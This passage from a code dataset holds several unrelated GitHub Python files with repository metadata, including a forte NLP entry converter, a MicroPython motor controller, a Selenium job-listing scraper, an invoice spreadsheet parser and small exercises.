financial_freedom = country[1].financial_freedom,\n tariff_rate_pct = country[1].tariff_rate_pct,\n income_tax_rate_pct = country[1].income_tax_rate_pct,\n corporate_tax_rate_pct = country[1].corporate_tax_rate_pct,\n tax_burden_pct_of_gdp = country[1].tax_burden_pct_of_gdp,\n govt_expenditure_pct_of_gdp = country[1].govt_expenditure_pct_of_gdp,\n country = country[1].country,\n population_millions = country[1].population_millions,\n gdp_billions_ppp = country[1].gdp_billions_ppp,\n gdp_growth_rate_pct = country[1].gdp_growth_rate_pct,\n five_year_gdp_growth_rate_pct = country[1]['5_year_gdp_growth_rate_pct'],\n gdp_per_capita_ppp_USD = country[1].gdp_per_capita_ppp_USD,\n unemployment_pct = country[1].unemployment_pct,\n inflation_pct = country[1].inflation_pct,\n fdi_inflow_millions = country[1].fdi_inflow_millions,\n public_debt_pct_of_gdp = country[1].public_debt_pct_of_gdp,\n )\n print(\"SUCCESS\")\n","repo_name":"DavTho1983/Economic-Freedom-Index","sub_path":"efi/Freedom_Index/management/commands/create_initial_data.py","file_name":"create_initial_data.py","file_ext":"py","file_size_in_byte":4321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36121137893","text":"import logging\nfrom typing import Any, Dict, Optional, cast\n\nfrom forte.common import constants\nfrom forte.data.base_pack import PackType\nfrom forte.data.ontology.core import Entry, FList, FDict\nfrom forte.data.ontology.top import (\n Annotation,\n Link,\n Group,\n Generics,\n AudioAnnotation,\n ImageAnnotation,\n MultiPackGeneric,\n MultiPackGroup,\n MultiPackLink,\n Payload,\n SinglePackEntries,\n MultiPackEntries,\n)\nfrom forte.utils import get_class, get_full_module_name\n\nlogger = logging.getLogger(__name__)\n\n__all__ = [\"EntryConverter\"]\n\n\nclass EntryConverter:\n r\"\"\"\n Facilitate the conversion between entry data in list format from\n ``DataStore`` and entry class object.\n \"\"\"\n\n def __init__(self) -> None:\n # Mapping from entry's tid to the entry objects for caching\n self._entry_dict: Dict[int, Entry] = {}\n\n def save_entry_object(\n self,\n entry: Any,\n pack: PackType,\n allow_duplicate: bool = True,\n ):\n # pylint: disable=protected-access\n \"\"\"\n Save an existing entry object into DataStore.\n \"\"\"\n # Check if the entry is already stored\n data_store_ref = pack._data_store\n try:\n data_store_ref.get_entry(tid=entry.tid)\n logger.info(\n \"The entry with tid=%d is already saved into DataStore\",\n entry.tid,\n )\n return\n except KeyError:\n # The entry is not found in DataStore\n pass\n\n # Create a new registry in DataStore based on entry's type\n if data_store_ref._is_subclass(entry.entry_type(), Annotation):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n allow_duplicate=allow_duplicate,\n # Once an attribute is accessed from the _cached_attribute_data\n # dict, it must be removed\n attribute_data=[\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.BEGIN_ATTR_NAME\n ),\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.END_ATTR_NAME\n ),\n ],\n )\n elif data_store_ref._is_subclass(entry.entry_type(), Link):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n # Once an attribute is accessed from the _cached_attribute_data\n # dict, it must be removed\n attribute_data=[\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.PARENT_TYPE_ATTR_NAME\n ),\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.CHILD_TYPE_ATTR_NAME\n ),\n ],\n )\n elif data_store_ref._is_subclass(entry.entry_type(), Group):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n # Once an attribute is accessed from the _cached_attribute_data\n # dict, it must be removed\n attribute_data=[\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.MEMBER_TYPE_ATTR_NAME\n )\n ],\n )\n elif data_store_ref._is_subclass(entry.entry_type(), Generics):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n )\n elif data_store_ref._is_subclass(entry.entry_type(), AudioAnnotation):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n allow_duplicate=allow_duplicate,\n # Once an attribute is accessed from the _cached_attribute_data\n # dict, it must be removed\n attribute_data=[\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.BEGIN_ATTR_NAME\n ),\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.END_ATTR_NAME\n ),\n ],\n )\n elif data_store_ref._is_subclass(entry.entry_type(), ImageAnnotation):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n allow_duplicate=allow_duplicate,\n )\n elif data_store_ref._is_subclass(entry.entry_type(), Payload):\n entry = cast(Payload, entry)\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n allow_duplicate=allow_duplicate,\n )\n elif data_store_ref._is_subclass(entry.entry_type(), MultiPackLink):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n # Once an attribute is accessed from the _cached_attribute_data\n # dict, it must be removed\n attribute_data=[\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.PARENT_TYPE_ATTR_NAME\n ),\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.CHILD_TYPE_ATTR_NAME\n ),\n ],\n )\n elif data_store_ref._is_subclass(entry.entry_type(), MultiPackGroup):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n # Once an attribute is accessed from the _cached_attribute_data\n # dict, it must be removed\n attribute_data=[\n Entry._cached_attribute_data[entry.entry_type()].pop(\n constants.MEMBER_TYPE_ATTR_NAME\n )\n ],\n )\n elif data_store_ref._is_subclass(entry.entry_type(), MultiPackGeneric):\n data_store_ref.add_entry_raw(\n type_name=entry.entry_type(),\n tid=entry.tid,\n )\n else:\n valid_entries: str = \", \".join(\n map(get_full_module_name, SinglePackEntries + MultiPackEntries)\n )\n raise ValueError(\n f\"Invalid entry type {entry.entry_type()}. A valid entry should\"\n f\" be an instance of {valid_entries}.\"\n )\n\n # Store all the dataclass attributes to DataStore\n for attribute, value in Entry._cached_attribute_data[\n entry.entry_type()\n ].items():\n if value is None:\n continue\n if isinstance(value, Entry):\n value = value.tid\n elif isinstance(value, FDict):\n value = {key: val.tid for key, val in value.items()}\n elif isinstance(value, FList):\n value = [val.tid for val in value]\n data_store_ref.set_attribute(\n tid=entry.tid, attr_name=attribute, attr_value=value\n )\n\n # Empty the cache of the attribute data in Entry\n Entry._cached_attribute_data[entry.entry_type()].clear()\n # Cache the stored entry and its tid\n self._entry_dict[entry.tid] = entry\n\n def get_entry_object(\n self, tid: int, pack: PackType, type_name: Optional[str] = None\n ) -> Entry[Any]:\n \"\"\"\n Convert a tid to its corresponding entry object.\n \"\"\"\n\n # Check if the tid is cached\n if tid in self._entry_dict:\n return self._entry_dict[tid]\n\n data_store_ref = pack._data_store # pylint: disable=protected-access\n if type_name is None:\n _, type_name = data_store_ref.get_entry(tid=tid)\n entry_class = get_class(type_name)\n entry: Entry\n # pylint: disable=protected-access\n # Here the entry arguments are optional (begin, end, parent, ...) and\n # the value can be arbitrary since they will all be routed to DataStore.\n if data_store_ref._is_annotation(type_name):\n entry = entry_class(pack=pack, begin=0, end=0)\n elif any(\n data_store_ref._is_subclass(type_name, type_class)\n for type_class in SinglePackEntries + MultiPackEntries\n ):\n entry = entry_class(pack=pack)\n else:\n valid_entries: str = \", \".join(\n map(get_full_module_name, SinglePackEntries + MultiPackEntries)\n )\n raise ValueError(\n f\"Invalid entry type {type_name}. A valid entry should be an\"\n f\" instance of {valid_entries}.\"\n )\n\n # Remove the new tid and direct the entry object to the correct tid.\n if entry.tid in self._entry_dict:\n self._entry_dict.pop(entry.tid)\n if entry.tid in pack._pending_entries:\n pack._pending_entries.pop(entry.tid)\n data_store_ref.delete_entry(tid=entry.tid)\n entry._tid = tid\n\n self._entry_dict[tid] = entry\n return entry\n","repo_name":"asyml/forte","sub_path":"forte/data/entry_converter.py","file_name":"entry_converter.py","file_ext":"py","file_size_in_byte":9417,"program_lang":"python","lang":"en","doc_type":"code","stars":230,"dataset":"github-code","pt":"36"} +{"seq_id":"27619301589","text":"import utime\nimport machine\nfrom machine import Pin,PWM, ADC\njoystickX = ADC(Pin(27))\njoystickY = ADC(Pin(26))\npwmR = PWM(Pin(4))\npwmL = PWM(Pin(5)) \npwmR.freq(1000)\npwmR.duty_u16(0)\npwmL.freq(1000)\npwmL.duty_u16(0)\n\ndef moteur_run(speed, sens):\n #sens = 1 forward et 0 reverse.\n #speed = 0 arret 65535 Duty Cycle de 1.\n if(speed<=0):\n pwmL.duty_u16(0) #Clock Wise\n pwmR.duty_u16(0)\n elif(sens==1):\n pwmL.duty_u16(0) #Clock Wise\n pwmR.duty_u16(speed)\n else:\n pwmR.duty_u16(0) #Anti Clock Wise\n pwmL.duty_u16(speed)\n \n \n \n\n\nwhile True:\n moyx=0\n rg=500\n for i in range(rg):\n moyx +=joystickX.read_u16()\n moyx= int(moyx/rg)\n #if moyx>32700 and moyx<38050:\n if moyx<32700:\n pwm=abs(65535-moyx*2)\n if(pwm<2500):\n pwm=2500\n if(pwm>65535 or pwm==(32700*2)):\n pwm=65535\n moteur_run(pwm,0)\n elif moyx>32820:\n pwm=(moyx-32700)*2\n if(pwm<2500):\n pwm=2500\n if(pwm>65535 or pwm==(32700*2)):\n pwm=65535\n moteur_run(pwm,1)\n else:\n moteur_run(0,0)\n \n\n print(\"X =\",moyx,\"Y =\",joystickY.read_u16())\n utime.sleep_ms(10)\n ","repo_name":"yannislagnel/Simulator_project","sub_path":"moteurs/joystick.py","file_name":"joystick.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"5795993173","text":"from selenium import webdriver\nimport csv\ndef table():\n driver = webdriver.Chrome()\n driver.implicitly_wait(120)\n url=\"https://www.jobs.af/\"\n driver.get(url)\n driver.maximize_window()\n\n item={}\n item['post_date'] =['']\n item['reference'] =['']\n item['closing_date'] =['']\n item['work_type'] =['']\n item['nubmer_of_vacancies'] =['']\n item['gender'] =['']\n item['functional_area'] =['']\n item['nationality'] =['']\n item['salary_range'] =['']\n item['year_of_expirence'] =['']\n item['contract_duration_year'] =['']\n item['extension_passibility'] =['']\n\n item['contract_type'] =['']\n item['probation_month'] =['']\n item['required_langauges'] =['']\n\n href=[]\n elements=driver.find_elements_by_xpath('//div[@class=\"item-header\"]//h2//a')\n for element in elements:\n try:\n href.append(element.get_attribute('href'))\n except Exception as e:\n print(e)\n # with open('table.csv', 'w') as f:\n # f.write(\"'Post_data',Refernce,'Closing_date',Work_type,Nubmer_of_vacancies,Gender,Functional_area,Nationality,Salary_range,year_of exprience,contract_duration,Extention_passibility,contract_type ,probation_month, required_langauges \\n\")\n for i in href:\n\n driver.get(i)\n\n\n item['post_date'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[1]//td[1]').text)\n\n\n\n item['reference'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[2]//td[1]').text)\n\n item['closing_date'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[1]//td[2]').text)\n\n item['work_type'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[2]//td[2]').text)\n\n item['nubmer_of_vacancies'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[3]//td[1]').text)\n\n item['gender'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[3]//td[2]').text)\n\n item['functional_area'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[4]//td[1]').text)\n\n item['nationality'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[4]//td[2]').text)\n\n item['salary_range'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[5]//td[1]').text)\n\n item['year_of_expirence'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[5]//td[2]').text)\n\n item['contract_duration_year'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[6]//td[1]').text)\n\n item['extension_passibility'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[6]//td[2]').text)\n\n item['contract_type'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[7]//td[1]').text)\n\n item['probation_month'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[7]//td[2]').text)\n\n item['required_langauges'].append(driver.find_element_by_xpath('//div[@class=\"table-responsive\"]//tbody//tr[8]//td[1]').text)\n\n # with open('table.csv', 'a') as data_file:\n # for i in range(0,15):\n #\n # data_file.write(str(item['post_date']) + \",\" + str(item['reference'])+ \",\" + str(item['closing_date'])+ \",\" +str(item['work_type'])+ \",\" +str(item['nubmer_of_vacancies'])+ \",\" +str(item['gender'])+ \",\" + str(item['functional_area'])+ \",\" +str(item['nationality'])+ \",\" +str(item['salary_range'])+ \",\" +str(item['year_of_expirence'])+ \",\" +str(item['contract_duration_year'])+ \",\" + str(item['extension_passibility'])+ \",\" + str(item['contract_type'])+ \",\" + str(item['probation_month'])+ \",\" +str(item['required_langauges']) + \"\\n\")\n for i in item:\n\n print(item[i])\n\n driver.close()\nif __name__ == '__main__':\n table()","repo_name":"musAhmadi/mustafa.ahmadi","sub_path":"dynamic_scripting/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"31214779797","text":"# Namespaces: Local vs Global scope\r\nenemies = 1\r\n\r\n\r\ndef increase_enemies():\r\n # How to modify a global variable\r\n global enemies # You don't want to do this often as it is confusing\r\n enemies = 2\r\n print(f\"enemies inside function: {enemies}\")\r\n\r\n\r\nincrease_enemies()\r\nprint(f\"enemies outside function: {enemies}\")\r\n\r\n# There is no Block (If, While, For, etc) Scope in python\r\ngame_level = 3\r\nenemies = [\"Skeleton\", \"Zombie\", \"Alien\"]\r\nif game_level < 5:\r\n new_enemy = enemies[0]\r\n\r\nprint(new_enemy)\r\n\r\n\r\n# Global constants (all uppercase)\r\nPI = 3.14159\r\nURL = \"https://www.google.com\"\r\n","repo_name":"dmartinm95/Python-Bootcamp","sub_path":"day12/notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4062877438","text":"\nimport turtle\n\nvalues = [7.6, 5.0, 4.7, 2.8, 2.8]\n\ndef main():\n ## Draw bar chart for popular majors.\n t = turtle.Turtle()\n t.speed(10)\n t.hideturtle()\n for i in range(5):\n height = 30 * values[i]\n drawSolidRectangle(t, (-250 + 100 * i), 0, 100, height, \"black\", \"light blue\")\n insertText(t)\n\ndef drawSolidRectangle(t, x, y, w, h, colorP=\"black\", colorF=\"black\"):\n ## Draw a solid vertical rectangle with bottom-left corner (x, y),\n ## width w, height h, pen color colorP, and fill color colorF.\n t.pencolor(colorP)\n t.fillcolor(colorF)\n t.up()\n t.goto(x, y) # start at bottom-left corner of rectangle\n t.down()\n t.begin_fill()\n t.goto(x + w, y) # draw line to bottom-right corner\n t.goto(x + w, y + h) # draw line to top-right corner\n t.goto(x, y + h) # draw line to top-left corner\n t.goto(x, y) # draw line to bottom-left corner\n t.end_fill()\n\ndef insertText(t):\n t.up()\n labels1 = [\"Biology\", \"Nursing\", \"Psychology\", \"Mechanical\", \"Bus. Admin.\"]\n labels2 = [\"(general)\", \"\", \"\", \"Engineering\", \"(general)\"]\n for i in range(5):\n t.pencolor(\"blue\")\n t.goto(-200 + 100 * i, 30 * values[i])\n t.write(str(values[i]) + '%', align=\"center\",font=(\"Ariel\", 10, \"normal\"))\n t.goto(-200 + 100 * i, 25)\n t.write(labels1[i], align=\"center\",font=(\"Ariel\", 10, \"normal\"))\n t.goto(-200 + 100 * i, 10)\n t.write(labels2[i], align=\"center\",font=(\"Ariel\", 10, \"normal\"))\n t.goto(-250, -25)\n t.write(\"Most Popular Majors for College Freshmen in Fall 2013\",\n font=(\"Ariel\", 10, \"normal\"))\n \nmain() \n \n\n\n\n","repo_name":"guoweifeng216/python","sub_path":"python_design/pythonprogram_design/Ch6/6-3-E27.py","file_name":"6-3-E27.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"9264707816","text":"# Парсит и разбивает по столбцам данные из счетов американских товаров\r\n\r\nimport re\r\nimport os\r\nimport argparse\r\nfrom contextlib import suppress\r\n\r\nfrom openpyxl import load_workbook\r\n\r\nART_ARRAY = [27, 12, 14, 20]\r\n\r\n\r\ndef remove_article_beginning(cell, data):\r\n for s in data:\r\n if cell.startswith(str(s)):\r\n return cell.replace(str(s), '', 1)\r\n return cell\r\n\r\n\r\ndef get_input_filename():\r\n parser = argparse.ArgumentParser(description='Программа для конвертирования счетов америки в excel')\r\n parser.add_argument('path', metavar='P', type=str, help='Путь к таблице')\r\n return parser.parse_args().path\r\n\r\n\r\ndef parse_america_invoice(input_file):\r\n sheet = load_workbook(input_file)\r\n wb = sheet[sheet.get_sheet_names()[0]]\r\n wb['A1'].value = 'АРТИКУЛ'\r\n wb['B1'].value = 'НАЗВАНИЕ'\r\n wb['C1'].value = 'РРЦ'\r\n wb['D1'].value = 'КОД'\r\n wb['E1'].value = 'К-ВО'\r\n wb['F1'].value = 'ЦЕНА'\r\n wb['G1'].value = 'СУММА'\r\n cell = 2\r\n while wb[f'A{cell}'].value is not None:\r\n new_art_array = [f'{s} ' for s in ART_ARRAY]\r\n wb[f'A{cell}'].value = remove_article_beginning(wb[f'A{cell}'].value, new_art_array)\r\n wb[f'A{cell}'].value = re.sub(' c$', '', str(wb[f'A{cell}'].value))\r\n data_list = wb[f'A{cell}'].value.split(' ')\r\n wb[f'G{cell}'].value = float(data_list.pop())\r\n wb[f'F{cell}'].value = float(data_list.pop())\r\n wb[f'E{cell}'].value = int(data_list.pop().replace('.00', ''))\r\n wb[f'D{cell}'].value = data_list.pop()\r\n wb[f'C{cell}'].value = float(data_list.pop())\r\n with suppress(ValueError):\r\n data_list[0] = int(data_list[0])\r\n if type(data_list[0]) is str:\r\n data_list[0] = remove_article_beginning(data_list[0], ART_ARRAY)\r\n wb[f'A{cell}'].value = data_list.pop(0)\r\n wb[f'B{cell}' + str(cell)].value = ' '.join(data_list)\r\n cell += 1\r\n sheet.save(f'{os.path.splitext(input_file)[0]}(1).xlsx')\r\n\r\n\r\nif __name__ == '__main__':\r\n parse_america_invoice(get_input_filename())\r\n","repo_name":"klavrova/scrpmn_etc","sub_path":"america_invoice.py","file_name":"america_invoice.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"12202591324","text":"# Дан массив связей пользователей. Вам необходимо реализовать функцию,\n# которая принимает на вход три аргумента: информация о связях, как кортеж (tuple)\n# кортежей, первое имя (str), второе имя (str). Функция должна возвращать True, если\n# связь между любыми двумя заданными пользователями существует, например, если у\n# двух пользователей есть общие друзья или у их друзей есть общие друзья и т.д., иначе\n# False.\n\nfrom collections import deque\n\ndef set_graph(net):\n unique_names = []\n graph = {}\n for i in net:\n name1, name2 = i\n if name1 not in unique_names:\n unique_names.append(name1)\n if name2 not in unique_names:\n unique_names.append(name2)\n for name in unique_names:\n graph[name] = []\n for j in net:\n name1, name2 = j\n if name1 == name:\n graph[name].append(name2)\n if name2 == name:\n graph[name].append(name1)\n return graph\n\n\ndef check_relation(net, first, second):\n graph = set_graph(net)\n search_queue = deque()\n search_queue += graph[first]\n searched = []\n while search_queue:\n person = search_queue.popleft()\n if person not in searched:\n if person == second:\n return True\n else:\n search_queue += graph[person]\n searched.append(person)\n return False\n\nif __name__ == '__main__':\n net = (\n (\"Ваня\", \"Лёша\"), (\"Лёша\", \"Катя\"), (\"Ваня\", \"Катя\"), (\"Вова\", \"Катя\"), (\"Лёша\", \"Лена\"), (\"Оля\", \"Петя\"),\n (\"Стёпа\", \"Оля\"), (\"Оля\", \"Настя\"),\n (\"Настя\", \"Дима\"), (\"Дима\", \"Маша\")\n )\n\n assert check_relation(net, \"Петя\", \"Стёпа\") is True\n assert check_relation(net, \"Маша\", \"Петя\") is True\n assert check_relation(net, \"Ваня\", \"Дима\") is False\n assert check_relation(net, \"Лёша\", \"Настя\") is False\n assert check_relation(net, \"Стёпа\", \"Маша\") is True\n assert check_relation(net, \"Лена\", \"Маша\") is False\n assert check_relation(net, \"Вова\", \"Лена\") is True","repo_name":"Darya-Stasevich/ProductLab","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"33441825257","text":"def highest():\n record=dict([])\n temp=dict([])\n n=int(input(\"Enter number of students- \"))\n for i in range(n):\n print()\n key=input(\"Enter the name- \")\n value=dict([])\n total=0\n for y in range(4):\n marks=float(input(\"Enter marks- \"))\n value[\"subject\"+str(y+1)]=marks\n total=total+marks\n\n per=(total/40)*100\n temp[key]=per\n record[key]=value\n\n maxi=max(temp,key=temp.get)\n print()\n print(\"Names and marks- \",record)\n print(\"student with maximum % -\",maxi)\n\nhighest()\n","repo_name":"Hiteshwalia4/Python-Programs","sub_path":"New prac list/q9npl.py","file_name":"q9npl.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74906959144","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\nimport sys,re,optparse\n\n##################### I/O ##################################\nusage = \"usage: %prog [options] \"\nparser = optparse.OptionParser(usage=usage)\nparser.add_option(\"-i\", \"--input\", dest=\"input\",\n action=\"store\", help=\"read from FILE\", metavar=\"FILE\")\n(options, args) = parser.parse_args()\n\ndef malter(LINE_OBJECT):\n \"\"\"formats lines for maltparser in conll format\"\"\"\n if len(LINE_OBJECT) == 1:\n return \"0\"+\"\\t\"+LINE_OBJECT[0]+\"\\t\"+LINE_OBJECT[0]+\"\\t\"+\"f\"+\"\\t\"+\"f\"+\"\\t\"+\"0\"+\"\\t\"+\"0\"+\"\\t\"+\"ROOT\"+\"\\t\"+\"-\"\n #Lemma\n Token = LINE_OBJECT[0].strip().split()\n tokenString = \"_\".join(Token)\n #Use twice: POS and CPOS\n tPOS = LINE_OBJECT[1].strip()\n aPOS = replace_tag(tPOS,LINE_OBJECT[2].strip())\n Lemma = determineLemma(LINE_OBJECT[2].strip(),tokenString)\n malt_line = \"0\"+\"\\t\"+tokenString+\"\\t\"+Lemma+\"\\t\"+aPOS+\"\\t\"+aPOS+\"\\t\"+\"0\"+\"\\t\"+\"0\"+\"\\t\"+\"ROOT\"+\"\\t\"+\"-\"#+\"\\t\"+tPOS\n return malt_line\n\ndef determineLemma(original,token):\n if original == \"\":\n lemma = token\n elif optional_lemma.search(original):\n lemma = original.split(\"|\")[0]\n else:\n lemma = original.replace(\"~\", \"_\");\n if lemma == \"\":\n lemma = token\n return lemma\n\ndef reform(infile):\n malt_lines = []\n for line in infile:\n line = line.rstrip()\n listed = line.split(\"\\t\")\n try:\n if re.search (\"%%\",line):\n pass\n else:\n malt = malter(listed)\n malt_lines.append(malt)\n except IndexError:\n malt_lines.append(line)\n return malt_lines\n file_object.close()\n\ndef replace_tag(tag,lemma):\n if treeAdj.match(tag):\n return \"a\"\n elif treeConj.match(tag):\n return \"c\"\n elif treeDet.match(tag):\n return \"d\"\n elif treePunct.match(tag):\n return \"f\"\n elif treeInter.match(tag):\n return \"i\"\n elif treeNoun.match(tag):\n return \"n\"\n elif treePro.match(tag):\n return \"p\"\n elif treeAdv.match(tag):\n return \"r\" \n elif treePrep.match(tag):\n return \"s\"\n elif treeVerb.match(tag):\n return \"v\"\n # elif treeDate.match(tag):\n # return \"w\"\n elif treeNum.match(tag):\n return \"z\"\n elif tag == \"CODE\":\n if lemma == \"@card@\":\n return \"z\"\n else:\n return \"n\"\n else:\n return tag\n \ntreeAdj = re.compile(\"ADJ\")\ntreeConj = re.compile(\"CC.*|CQUE|CSUBX\")\ntreeDet = re.compile(\"ART|DM|QU\")\ntreePunct = re.compile(\"BACKSLASH|CM|COLON|DASH|DOTS|LP|PERCT|QT|RP|SEMICOLON|SLASH|SYM\")\n#^also FS for full stop - but need this to sepatate sents\ntreeInter = re.compile(\"ITJN|PNC\")\ntreeNoun = re.compile(\"NMEA|NMON|NC|NP|ALF*|ACRNM|PE|UMMX\")\ntreePro = re.compile(\"INT|PPC|PPO|PPX|REL|SE\")\ntreeAdv = re.compile(\"CSUBF|ADV|NEG\")\ntreePrep = re.compile(\"PREP|CSUBI|PAL|PDEL|PREP/DEL\")\ntreeVerb = re.compile(\"^V.*\")\n#treeDate = re.compile(\"\")\ntreeNum = re.compile(\"CARD|FO|ORD\")\noptional_lemma = re.compile(\"\\w\\|\\w\")\n\nsentID = re.compile(\"<{{{.*}}}!!!>\")\ndef main():\n lines = open(options.input, \"r\") if options.input else sys.stdin\n printable = reform(lines)\n for line in printable:\n line_list = line.split('\\t')\n try:\n token = line_list[1]\n pos = line_list[3] \n if pos == 'fs' or (pos =='FS' and token != \"¿\") or sentID.search(token):\n line_list[3] = \"f\"\n line_list[4] = \"f\"\n sys.stdout.write(\"\\t\".join(line_list)+'\\n\\n')\n else:\n if token == \"¿\":\n line_list[3] = \"f\"\n line_list[4] = \"f\" \n sys.stdout.write(\"\\t\".join(line_list)+'\\n')\n except IndexError:\n sys.stdout.write(line)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"eovchinn/ADP-pipeline","sub_path":"pipelines/Spanish/Scripts/to_malt.py","file_name":"to_malt.py","file_ext":"py","file_size_in_byte":3915,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"36"} +{"seq_id":"70435839145","text":"from nogit.errors import NoBranchError\n\n__author__ = 'ross'\n\nimport unittest\n\n\nclass PychronEngineTestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n from nogit.git_engine import GitEngine\n from nogit.mongo_adapter import MongoAdapter\n\n engine = GitEngine(adapter=MongoAdapter())\n cls.engine=engine\n engine.drop_database()\n\n engine.adapter.connect()\n\n def setUp(self):\n self.engine.init()\n\n def test_init(self):\n self.engine.init()\n\n n=self.engine.ncollections\n self.assertGreaterEqual(n, 5)\n\n def test_add_blob(self):\n self.engine.add('/minnabluff', 'project', {'project':'minnabluff','location':'Antarctica'})\n self.engine.add('/minnabluff/51000', '51000-01A', {'identifier':'51000','aliquot':'01','step':'A',\n 'isotopes':{'Ar40':10}})\n\n idx=self.engine.get_index()\n self.assertEqual(len(idx['blobs']), 2)\n\n wtree=self.engine.get_working_tree()\n self.assertEqual(len(wtree['blobs']), 0)\n\n self.assertEqual(len(wtree['trees']), 1)\n c1=self.engine.commit('first comiit')\n\n self.engine.add('/minnabluff/51000', '51000-01A', {'identifier': '51000', 'aliquot': '01', 'step': 'A',\n 'isotopes': {'Ar40': 22}})\n c2=self.engine.commit('second commit')\n\n d=self.engine.diff('/minnabluff/51000/51000-01A', c1, c2)\n ls,rs=self.engine.extract_diff(d)\n\n self.assertEqual(ls[0],'\"Ar40\": 10')\n self.assertEqual(rs[0],'\"Ar40\": 22')\n\n self.engine.add('/minnabluff/51000', '51000-01A', {'identifier': '51000', 'aliquot': '01', 'step': 'A',\n 'isotopes': {'Ar40':22, 'Ar39': 23}})\n\n c3 = self.engine.commit('third commit')\n d = self.engine.diff('/minnabluff/51000/51000-01A', c1, c3)\n ls, rs = self.engine.extract_diff(d)\n\n self.assertEqual(ls[0], '\"Ar40\": 10')\n self.assertEqual(rs[0], '\"Ar40\": 22')\n self.assertEqual(rs[1], '\"Ar39\": 23')\n\n d = self.engine.diff('/minnabluff/51000/51000-01A', c2, c3)\n ls, rs = self.engine.extract_diff(d)\n self.assertEqual(rs[0], '\"Ar40\": 22')\n self.assertEqual(rs[1], '\"Ar39\": 23')\n\n #add new file to the tree\n self.engine.add('/minnabluff/51000', '51000-01B', {'identifier': '51000', 'aliquot': '01', 'step': 'A',\n 'isotopes': {'Ar40': 22, 'Ar39': 23}})\n c4 = self.engine.commit('fourth commit')\n\n #test diff of trees for two commits\n #show files and directories added and deleted\n #flatten tree starting at path\n #use ndiff to identify added/sub\n d=self.engine.diff('/minnabluff/51000', c1, c4)\n ls, rs = self.engine.extract_diff(d)\n self.assertEqual(rs[0], '/minnabluff/51000/51000-01B')\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"jirhiker/nogit","sub_path":"tests/pychron_engine.py","file_name":"pychron_engine.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74129723624","text":"from django.urls import path \nfrom core import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('', views.login, name='start'),\n path('register/', views.register, name='register'),\n path('logout', views.logout, name='logout'),\n path('home/', views.home, name='home'),\n path('viewuser/all/', views.listUser, name='listuser'),\n path('viewuser/', views.listSpecificUser, name='listspecificuser'),\n path('adduser/', views.addUser, name='adduser'),\n path('updateuser/', views.updateUser, name='updateuser'),\n path('updateuser/updatinguser/', views.updatingUser, name='updatinguser'),\n path('deleteuser/', views.deleteUser, 